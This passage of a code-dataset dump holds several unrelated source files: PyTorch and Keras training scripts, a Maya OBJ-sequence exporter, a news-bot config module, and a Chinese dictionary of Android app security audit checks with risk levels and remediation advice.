shuffle=True)\r\n\r\n# print(args.model)\r\nif args.model == 'vgg':\r\n    model = torchvision.models.vgg16(pretrained=True)\r\n    for param in model.parameters():\r\n        param.requires_grad = False\r\n\r\n    model.classifier = nn.Sequential(nn.Linear(25088, 1000),\r\n                                     nn.ReLU(),\r\n                                     nn.Dropout(0.1),\r\n                                     nn.Linear(1000, 500),\r\n                                     nn.ReLU(),\r\n                                     nn.Dropout(0.1),\r\n                                     nn.Linear(500, 102),\r\n                                     nn.LogSoftmax(dim=1))\r\n\r\nelif args.model == 'resnet':\r\n    model = torchvision.models.resnet18(pretrained=True)\r\n    model.classifier = nn.Sequential(nn.Linear(1000, 500),\r\n                                     nn.ReLU(),\r\n                                     nn.Dropout(0.1),\r\n                                     nn.Linear(500, 102),\r\n                                     nn.LogSoftmax(dim=1))\r\nelse:\r\n    raise Exception('Please use a supported model. Supported models are vgg and resnet')\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() and args.device == 'gpu' else \"cpu\")\r\noptimizer = optim.Adam(model.classifier.parameters(),\r\n                       lr=args.learning_rate if args.learning_rate is not None else 0.005)\r\ncriterion = nn.NLLLoss()\r\nmodel.to(device)\r\n\r\nepochs = args.epochs if args.epochs is not None else 1\r\nsteps = 0\r\nrunning_loss = 0\r\nprint_every = 5\r\nfor epoch in range(epochs):\r\n    for inputs, labels in train_dataloader:\r\n        steps += 1\r\n        inputs, labels = inputs.to(device), labels.to(device)\r\n        optimizer.zero_grad()\r\n\r\n        logps = model.forward(inputs)\r\n        loss = criterion(logps, labels)\r\n        loss.backward()\r\n        optimizer.step()\r\n\r\n        running_loss += loss.item()\r\n\r\n        if steps % print_every == 0:\r\n            valid_loss = 0\r\n            accuracy = 0\r\n            model.eval()\r\n            with torch.no_grad():\r\n                for inputs, labels in valid_dataloader:\r\n                    inputs, labels = inputs.to(device), labels.to(device)\r\n                    logps = model.forward(inputs)\r\n                    batch_loss = criterion(logps, labels)\r\n\r\n                    valid_loss += batch_loss.item()\r\n\r\n                    # Calculate accuracy\r\n                    ps = torch.exp(logps)\r\n                    top_p, top_class = ps.topk(1, dim=1)\r\n                    equals = top_class == labels.view(*top_class.shape)\r\n                    accuracy += torch.mean(equals.type(torch.FloatTensor)).item()\r\n\r\n            print(f\"Epoch {epoch + 1}/{epochs}.. \"\r\n                  f\"Train loss: {running_loss / print_every:.3f}.. \"\r\n                  f\"Validation loss: {valid_loss / len(valid_dataloader):.3f}.. \"\r\n                  f\"Validation accuracy: {accuracy / len(valid_dataloader):.3f}\")\r\n            running_loss = 0\r\n            model.train()\r\n\r\nmodel.class_to_idx = train_data.class_to_idx\r\ncheck_point = {'model': model.state_dict(),\r\n               'index_vals': model.class_to_idx,\r\n               'opti_state': optimizer.state_dict(),\r\n               'model_to_use': args.model}\r\ntorch.save(check_point, 'checkpoint.pth')\r\n","repo_name":"terrablader11/udacity-projects","sub_path":"ai-prog-python-proj2/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34633179726","text":"from Model.BERT_BILSTM_CRF import BERTBILSTMCRF\nfrom Model.BILSTM_Attetion_CRF import BILSTMAttentionCRF\nfrom Model.BILSTM_CRF import BILSTMCRF\nfrom Model.IDCNN_CRF import IDCNNCRF\nfrom Model.IDCNN5_CRF import IDCNNCRF2\n\nfrom sklearn.metrics import f1_score, recall_score\nimport numpy as np\nimport pandas as pd\n\nfrom Public.utils import *\nfrom keras.callbacks import EarlyStopping\nfrom DataProcess.process_data import DataProcess\n\nmax_len = 100\n\n\ndef train_sample(train_model='BERTBILSTMCRF',\n                 # ['BERTBILSTMCRF', 'BILSTMAttentionCRF', 'BILSTMCRF',\n                 # 'IDCNNCRF', 'IDCNNCRF2']\n                 epochs=15,\n                 log = None,\n                 ):\n\n    # bert需要不同的数据参数 获取训练和测试数据\n    if train_model == 'BERTBILSTMCRF':\n        dp = DataProcess(data_type='msra', max_len=max_len, model='bert')\n    else:\n        dp = DataProcess(data_type='msra', max_len=max_len)\n    train_data, train_label, test_data, test_label = dp.get_data(one_hot=True)\n\n    log.info(\"----------------------------数据信息 START--------------------------\")\n    log.info(f\"当前使用数据集 MSRA\")\n    # log.info(f\"train_data:{train_data.shape}\")\n    log.info(f\"train_label:{train_label.shape}\")\n    # log.info(f\"test_data:{test_data.shape}\")\n    log.info(f\"test_label:{test_label.shape}\")\n    log.info(\"----------------------------数据信息 END--------------------------\")\n\n    if train_model == 'BERTBILSTMCRF':\n        model_class = BERTBILSTMCRF(dp.vocab_size, dp.tag_size, max_len=max_len)\n    elif train_model == 'BILSTMAttentionCRF':\n        model_class = BILSTMAttentionCRF(dp.vocab_size, dp.tag_size)\n    elif train_model == 'BILSTMCRF':\n        model_class = BILSTMCRF(dp.vocab_size, dp.tag_size)\n    elif train_model == 'IDCNNCRF':\n        model_class = IDCNNCRF(dp.vocab_size, dp.tag_size, max_len=max_len)\n    else:\n        model_class = IDCNNCRF2(dp.vocab_size, dp.tag_size, max_len=max_len)\n\n    model = model_class.creat_model()\n\n    callback = TrainHistory(log=log, model_name=train_model)  # 自定义回调 记录训练数据\n    early_stopping = EarlyStopping(monitor='val_crf_viterbi_accuracy', patience=2, mode='max')  # 提前结束\n    model.fit(train_data, train_label, batch_size=32, epochs=epochs,\n              validation_data=[test_data, test_label],\n              callbacks=[callback, early_stopping])\n\n    # 计算 f1 和 recall值\n\n    pre = model.predict(test_data)\n    pre = np.array(pre)\n    test_label = np.array(test_label)\n    pre = np.argmax(pre, axis=2)\n    test_label = np.argmax(test_label, axis=2)\n    pre = pre.reshape(pre.shape[0] * pre.shape[1], )\n    test_label = test_label.reshape(test_label.shape[0] * test_label.shape[1], )\n\n    f1score = f1_score(pre, test_label, average='macro')\n    recall = recall_score(pre, test_label, average='macro')\n\n    log.info(\"================================================\")\n    log.info(f\"--------------:f1: {f1score} --------------\")\n    log.info(f\"--------------:recall: {recall} --------------\")\n    log.info(\"================================================\")\n\n    # 把 f1 和 recall 添加到最后一个记录数据里面\n    info_list = callback.info\n    if info_list and len(info_list)>0:\n        last_info = info_list[-1]\n        last_info['f1'] = f1score\n        last_info['recall'] = recall\n\n    return info_list\n\n\nif __name__ == '__main__':\n\n    # 需要测试的模型\n    train_modes = ['IDCNNCRF', 'IDCNNCRF2', 'BILSTMAttentionCRF', 'BILSTMCRF', 'BERTBILSTMCRF']\n\n    # 定义文件路径（以便记录数据）\n    log_path = os.path.join(path_log_dir, 'train_log.log')\n    df_path = os.path.join(path_log_dir, 'df.csv')\n    log = create_log(log_path)\n\n    # 训练同时记录数据写入的df文件中\n    columns = ['model_name','epoch', 'loss', 'acc', 'val_loss', 'val_acc', 'f1', 'recall']\n    df = pd.DataFrame(columns=columns)\n    for model in train_modes:\n        info_list = train_sample(train_model=model, epochs=15, log=log)\n        for info in info_list:\n            df = df.append([info])\n        df.to_csv(df_path)\n\n","repo_name":"CLOVEXCWZ/NER_DEMO","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","stars":263,"dataset":"github-code","pt":"16"}
+{"seq_id":"26538348519","text":"# Authored by Zack Glynn 2010\n\n\n#def obj_ex():       # uncomment this line if this script is to be used as a function\nif True:             # comment out or delete this line if this is used as a function instead of a standalone script\n\timport maya.cmds as mc\n\n\tif len(mc.ls(sl = True)) != 0:\t# Checks to see if anything is selected. Otherwise, the script cancels out.\n\n\t\tstartFr = mc.playbackOptions(query = True, min = True)\n\t\tendFr = mc.playbackOptions(query = True, max = True)\n\t\tprint('Start frame is: ' + str(startFr))\n\t\tprint('End frame is: ' + str(endFr))\n\t\twindow1 = mc.fileDialog2(caption = \"Choose the directory to save your .obj sequence\", fileMode = 3, dialogStyle=2)\n\n\t\tif str(window1) != 'None':\n\t\t\t#origName = mc.file(q=True, sceneName=True)\n\t\t\tpathname = window1[0]\n\t\t\tobjName = 'defaultName' # Default name used if no name is specified\n\t\t\tu = '_'\n\n\t\t\twindow2 = mc.promptDialog(title = 'Sequence Name', message = 'Type the name you would like to give your .obj sequence.', button = ['OK','Cancel'], defaultButton = 'OK', cancelButton = 'Cancel')\n\t\t\tif window2 == 'OK': # Names the sequence if user hits \"OK\" button. Otherwise the default name is used\n\t\t\t\tobjName = mc.promptDialog(query = True, text = True)\n\t\t\t\tobjName = str(objName)\n\n\t\t\twhile startFr <= endFr:\n\t\t\t\tmc.currentTime (startFr)\n\t\t\t\tfileName = objName + u + '%04d' % (startFr)\n\t\t\t\tmc.file(rename = pathname + '/' + fileName)\n\t\t\t\tmc.file(es = True, typ = 'OBJexport', pr = True)\n\t\t\t\tprint('Successfully exported: ' + fileName)\n\t\t\t\tstartFr = startFr + 1\n\n\t\t\tmc.confirmDialog(title = 'Success', message = '.obj sequence successfully exported and saved.')\n\n\t\telse:\n\t\t\tmc.confirmDialog(title = 'Canceled', message = 'Operation canceled')\n\n\telse:\n\t\tmc.confirmDialog(title = 'Nothing selected', message = 'No objects were selected to export! Please try again.')\n","repo_name":"eestrada/MayaGeoSequence","sub_path":"objExport.py","file_name":"objExport.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6552708285","text":"from dotenv import dotenv_values\n\nsecret = dotenv_values(\".env\")\n\n\"\"\"\n    This file contains all the global variables used in the project\n\"\"\"\n\n\"\"\"\n    Website table. Contains the list of websites to scrap\n\"\"\"\nTABLE_WEBSITES_NAME = \"websites\"\nTABLE_WEBSITES_COLUMNS = \"website_id SERIAL PRIMARY KEY, name TEXT NOT NULL UNIQUE,url TEXT NOT NULL UNIQUE\"\nTABLE_WEBSITES_INIT = [[\"france24\",\"https://www.france24.com/fr/info-en-continu/\"],\n                       [\"francetvinfo\",\"https://www.francetvinfo.fr/\"]]\n\n\"\"\"\n    News table. Contains the list of news scrapped\n\"\"\"\nTABLE_NEWS_NAME = \"news\"\nTABLE_NEWS_COLUMNS = \" news_id SERIAL PRIMARY KEY, website_id INT REFERENCES websites (website_id), url TEXT NOT NULL UNIQUE, ia_tweet TEXT, date BIGINT, tweet_sent BOOLEAN DEFAULT FALSE\"\n\n\"\"\"\n    Configuration table. Contains the configuration of the bot\n\"\"\"\nTABLE_CONFIGURATION_NAME = \"configuration\"\nTABLE_CONFIGURATION_COLUMNS = \"configuration_id SERIAL PRIMARY KEY, name TEXT NOT NULL UNIQUE, value TEXT NOT NULL\"\nTABLE_CONFIGURATION_INIT = [[\"tweet_every_x_minutes\",secret[\"TIME_BETWEEN_TWEETS_IN_MINUTES\"]],\n                     [\"last_tweet_date\",\"0\"]]","repo_name":"BenjaminDemolin/Agregactus_v2","sub_path":"Common/aa_global_variable.py","file_name":"aa_global_variable.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11618290230","text":"# -*- coding:utf-8 -*-\r\n\r\n#类别代号：应用安全-0 源码安全-1 数据安全-2 漏洞-3 恶意行为-4 权限-5 服务器安全-6\r\n#危险等级：高危-3 中危-2 低危-1 普通-0\r\nAppItemDict = {\r\n    '0_0' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'动态调试检查',\r\n        'desc' : u'应用的android:debuggable属性为true时，应用则可以使用jdb调试，进而可以使用其他工具进行调试',\r\n        'level' : u'中危',\r\n        'harm' : u'debuggable属性开启的应用可以使用多种工具调试，其执行流程和核心算法及数据极易暴露，造成算法和数据等知识产权受侵害',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于应用的调试配置开启，导致应用的调试限制极低，可以使用多种工具动态分析应用的核心流程和敏感数据',\r\n        'adviseT' : u'1.将应用中的debuggable属性显式配置为false',\r\n    },\r\n\r\n    '0_1' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'Activity安全',\r\n        'desc' : u'公开暴露的Activity组件可以被任意应用启动',\r\n        'level' : u'低危',\r\n        'harm' : u'Activity组件过于暴露将导致隐式启动Intent攻击或本地拒绝服务攻击等危害',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于Activity组件公开暴露，恶意应用可以在外部通过Intent隐式启动目标Activity或者构造能使Activity功能失效的Intent进行拒绝服务攻击等',\r\n        'adviseT' : u'App内使用的Activity的配置尽量将exported属性为false，使用的私有Activity不应配置intent-filter，如果配置了intent-filter需设置exported属性为false，如果exported属性为true，则建议设置自定义权限进行限制',\r\n    },\r\n\r\n    '0_2' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'Broadcast Receiver安全',\r\n        'desc' : u'公开暴露的Broadcast Receiver组件可以接收所有app发出的广播',\r\n        'level' : u'低危',\r\n        'harm' : u'公开暴露的Broadcast Receiver组件容易受到拒绝服务攻击，利用广播传输敏感信息容易造成信息泄露危害',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于广播接收器的exported属性设置不当且配置了intent-filter项目，导致恶意应用可以构造隐式Intent攻击广播接收器；利用广播传输敏感信息时，容易导致恶意应用截获载体Intent导致敏感数据丢失',\r\n        'adviseT' :\r\n                    u'1.私有广播接收器设置exported属性为false，并且不配置intent-filter（私有广播接收器依然能接收到同UID的广播）\\n2.对接收来的广播进行验证\\n3.发送广播时需注意接收app是否会泄露信息\\n4.发送的广播包含敏感信息时需指定广播接收器，使用显示意图或setPackage()接口函数\\n5.Sticky broadcast粘性广播中不应该包含敏感信息',\r\n    },\r\n\r\n    '0_3' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'Service安全',\r\n        'desc' : u'公开暴露的service组件可以被其他应用访问',\r\n        'level' : u'低危',\r\n        'harm' : u'公开暴露的service组件存在遭受拒绝服务、消息伪造等攻击的风险',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于service组件公开且对访问数据的过滤处理不当的话，恶意应用可以构造隐式Intent对service组件进行攻击，导致组件出现拒绝服务或执行意外操作',\r\n        'adviseT' : u'1.只有应用自身使用的service应设置为私有\\n2.service接收到的数据需谨慎处理\\n3.有明确的服务需调用时要使用显式Intent',\r\n    },\r\n\r\n    '0_4' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'Content Provider安全',\r\n        'desc' : u'公开暴露的Content Provider组件可以被其他APP访问',\r\n        'level' : u'低危',\r\n        'harm' : u'公开暴露的Content Provider组件容易受到恶意应���访问，若此组件有问题，则可能产生任意数据访问、SQL注入等风险',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于Content Provider组件的exported属性设置不当，权限设置不妥，导致恶意应用可以任意访问数据；对于使用SQLite存储的数据，恶意应用可以构造注入SQL语句，对查询方式有问题的应用进行SQL注入攻击',\r\n        'adviseT' : u'1.在设计APP时，对于用户隐私数据或其他重要数据等不必要提供给外部应用使用的，要在AndroidManifest文件中将其exported属性显式的设为false\\n2.正确定义私有权限\\n3.防止本地SQL注入',\r\n    },\r\n\r\n    '0_5' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'Intent安全',\r\n        'desc' : u'评估样本是否存在Intent漏洞使被其他程序恶意调用',\r\n        'level' : u'低危',\r\n        'harm' : u'1.恶意调用\\n2.恶意接受数据\\n3.仿冒应用，例如（恶意钓鱼，启动登录界面）\\n4.恶意发送广播、启动应用服务。\\n5.调用组件，接受组件返回的数据\\n6.拦截有序广播',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在Android上的Intent-based攻击很普遍，这种攻击轻则导致应用程序崩溃，重则可能演变提权漏洞。当然，通过静态特征匹配，Intent-Based的恶意样本还是很容易被识别出来的。然而最近出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这种攻击方式利用了浏览器保护措施的不足，通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击，这种方式极具隐蔽性，而且由于恶意代码隐藏WebPage中，传统的特征匹配完全不起作用。除此之外，这种攻击还能直接访问跟浏览器自身的组件（无论是公开还是私有）和私有文件，比如cookie文件，进而导致用户机密信息的泄露',\r\n        'adviseT' : u'1.尽量显式调用Intent，对发送目标明确限定\\n2.对Intent的内容进行访问过滤，校验传递的参数',\r\n    },\r\n\r\n    '0_6' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'日志信息检查',\r\n        'desc' : u'评估样本是否存在日志泄露的漏洞',\r\n        'level' : u'低危',\r\n        'harm' : u'通过logcat可以查看应用中的日志信息，如果日志使用不当可能造成用户数据的泄露',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'android.permission.READ_LOGS:app读取日志权限，android 4.1之前版本通过申请READ_LOGS权限就可以读取其他应用的log了。但是谷歌发现这样存在安全风险，于是android 4.1以及之后版本，即使申请了READ_LOGS权限也无法读取其他应用的日志信息了。4.1版本中 Logcat的签名变为“signature|system|development”了，这意味着只有系统签名的app或者root权限的app才能使用该权限。普通用户可以通过ADB查看所有日志',\r\n        'adviseT' : u'关闭调试日志调用，或者确保日志的输出使用了正确的级别，涉及敏感数据的日志信息在发布版本中被关闭',\r\n    },\r\n\r\n    '0_7' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'权限安全',\r\n        'desc' : u'评估样本是否存在app权限控制高于实际使用所需权限控制级别',\r\n        'level' : u'低危',\r\n        'harm' : u'1.其他程序越权访问此应用\\n2.被其他程序运行时篡改',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'没有设置合理的权限控制,normal：低风险权限，在安装的时候，系统会自动授予权限给 application。dangerous：高风险权限，系统不会自动授予权限给 app，在用到的时候，会给用户提示。signature：签名权限，在其他 app 引用声明的权限的时候，需要保证两个 app 的签名一致。这样系统就会自动授予权限给第三方 app，而不提示给用户。signatureOrSystem：这个权限是引用该权限的 app 需要有和系统同样的签名才能授予的权限，一般不推荐使用',\r\n        'adviseT' : u'不要申请不必要的权限',\r\n    },\r\n\r\n    '0_8' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'日志信息渗透',\r\n        'desc' : u'调试日志可能输出重要的日志文件，其中包含的信息可能导致客户端用户信息泄露，暴露客户端代码逻辑等，为发起攻击提供便利',\r\n        'level' : u'高危',\r\n        'harm' : u'调试日志可能暴露用户的重要日志信息，专业人员可能通过对日志信息进行分析窃取用户信息，破解客户端代码逻辑或者为其他调试跟踪等破解手段提供辅助信息',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'该APP存在调试日志的调用，可能发生重要日志信息泄露的风险',\r\n        'adviseT' : u'关闭调试日志调用，或者确保日志的输出使用了正确的级别，涉及敏感数据的日志信息在发布版本中被关闭',\r\n    },\r\n\r\n    '0_9' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'Activity劫持',\r\n        'desc' : u'输入密码的Activity可能被劫持',\r\n        'level' : u'高危',\r\n        'harm' : u'Activity被劫持后，用户可能将用户名和密码输入到虚假的Activity中',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于关键的Activity没有针对界面劫持进行检测，因此恶意软件可以获取当前界面的Activity名和所在的包名来判断是否劫持该Activity。当其被劫持后，用户可能将用户名密码输入到虚假的Activity中',\r\n        'adviseT' : u'在Activity的onStop方法中检测当前界面是否被劫持。',\r\n    },\r\n\r\n    '0_10' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'模拟器检测',\r\n        'desc' : u'评估样本是否可以在模拟器环境下运行',\r\n        'level' : u'高危',\r\n        'harm' : u'1.应用可以在模拟器下运行\\n2.可以被定制的模拟器下调试带来被逆向的风险',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于应用运行过程中没有做相关的模拟器识别和检测功能，导致应用可以在模拟器上运行和调试',\r\n        'adviseT' : u'为应用添加反模拟器的相关功能',\r\n    },\r\n\r\n    '0_11' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'进程保护',\r\n        'desc' : u'将指定代码注入到目标进程中并执行',\r\n        'level' : u'高危',\r\n        'harm' : u'1.监控用户输入及输出的信息\\n2.截获关键参数信息',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'应用进程在运行中可以被动态注入外部模块，可以对程序逻辑造成破坏',\r\n        'adviseT' : u'对应用采取加固措施，添加防注入功能',\r\n    },\r\n\r\n    '0_12' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'动态调试渗透',\r\n        'desc' : u'未采取反调试措施的应用，其执行流程可以被IDA等调试工具动态调试',\r\n        'level' : u'高危',\r\n        'harm' : u'未采取反调试措施的应用，其执行流程可以被多种调试工具进行分析，其dex文件和so文件中的核心算法或敏感信息极易暴露，导致应用作者权益受损害',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于应用未采取必要反调试措施，导致IDA等工具对其动态分析的成本极低，dex文件和so文件中的核心算法或敏感信息容易被窃取',\r\n        'adviseT' : u'1.将应用中的debuggable属性显式配置为false\\n2.对应用采取反调试保护措施，防止其他工具的调试',\r\n    },\r\n\r\n    '0_13' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'支付控制',\r\n        'desc' : u'评估样本的支付流程是否完善',\r\n        'level' : u'高危',\r\n        'harm' : u'造成支付或内购功能缺失，��响服务提供方利益',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'第三方支付不完善造成商户账号信息泄露，支付成功条件判断漏洞或缓存内购买记录不合理存放使得购买凭证被绕过，给服务提供方造成损失',\r\n        'adviseT' : u'对支付流程进行完整的安全加固',\r\n    },\r\n\r\n    '0_14' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'登录控制',\r\n        'desc' : u'应用自动存储用户信息实现自动登录的同时存在用户信息泄密',\r\n        'level' : u'高危',\r\n        'harm' : u'用户的账户密码等信息可能泄漏',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'为了实现自动登录和保存密码等功能，用户名和登录密码等信息会被保存在文本内，文本内容不加密或简单加密的情况下可以被提取使用户信息泄漏造成账户安全隐患',\r\n        'adviseT' : u'用户名密码等信息加密保存',\r\n    },\r\n\r\n    '0_15' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'支付密码设置',\r\n        'desc' : u'检查应用中登录密码、支付密码是否采用不同安全级别的管理',\r\n        'level' : u'高危',\r\n        'harm' : u'用户名和密码和支付密码等敏感数据会泄露，导致用户权益受损害',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于存在一些需求，导致可能将密码写入代码中',\r\n        'adviseT' : u'使用鼎源APP加固方案的代码混淆功能，防止源码被获取',\r\n    },\r\n\r\n    '0_16' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'双因子认证',\r\n        'desc' : u'双因子认证可以保障用户的某些重要操作的安全性',\r\n        'level' : u'高危',\r\n        'harm' : u'在用户进行如大额支付，更改密码等重要操作时没有除密码以外的验证手段使非法操作容易完成',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在没有双因子认证的情况下恶意攻击者在获得用户名密码等信息后可以进行任意操作如更改密码等将账户据为己有或盗取账户内资金等',\r\n        'adviseT' : u'添加双因子认证',\r\n    },\r\n\r\n    '0_17' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'超时重新授权',\r\n        'desc' : u'评估应用在会话超时的情况下是否要求重新授权',\r\n        'level' : u'高危',\r\n        'harm' : u'影响应用在用户不操作的情况下的安全性',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'当连接超时时没有重新授权的话，会导致通过过期会话访问用户账户的风险',\r\n        'adviseT' : u'添加超时重新授权机制',\r\n    },\r\n\r\n    '0_18' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'密码强度',\r\n        'desc' : u'密码复杂程度，密码越简单越容易被破解',\r\n        'level' : u'高危',\r\n        'harm' : u'过于简单的密码容易被简单破解引起账户丢失等情况',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'密码强度的大小直接影响到账户被暴力破解的难易程度',\r\n        'adviseT' : u'增加密码强度的强制限定',\r\n    },\r\n\r\n    '0_19' : {\r\n        'type' : 1, # 0-自动 1-人工\r\n        'name' : u'测试数据包含',\r\n        'desc' : u'检查应用安装文件中是否包含测试数据（包含冗余文件和冗余说明，其中冗余文件包括：含有通信地址等敏感信息的配置文件、含有Java代码的备份文件、测试文件、与应用无关的冗余资源文件等；冗余说明包括：脚本代码中的功能说明、发布者信息、注释掉的代码块等，以及其他文本中出现的冗余说明）',\r\n        'level' : u'中危',\r\n        'harm' : u'造成应用安装包冗余，通过测试数据暴露应用功能逻辑的信息',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'应用打包前未将冗余部分删除，应用打包后体积增大，相关信息暴露',\r\n        'adviseT' : u'删除安装包冗余内容',\r\n    },\r\n     '0_20' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'WebView安全',\r\n        'desc' : u'评估样本是否存在WebView漏洞被恶意利用',\r\n        'level' : u'中危',\r\n        'harm' : u'1.通过javasrriptInterface接口远程挂马\\n2.远程获取shell',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件，可以设置属性（颜色，字体等）。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机',\r\n        'adviseT' : u'限制使用javascriptInterface接口',\r\n    },\r\n     '0_21' : {\r\n        'type' : 1, # 0-自动 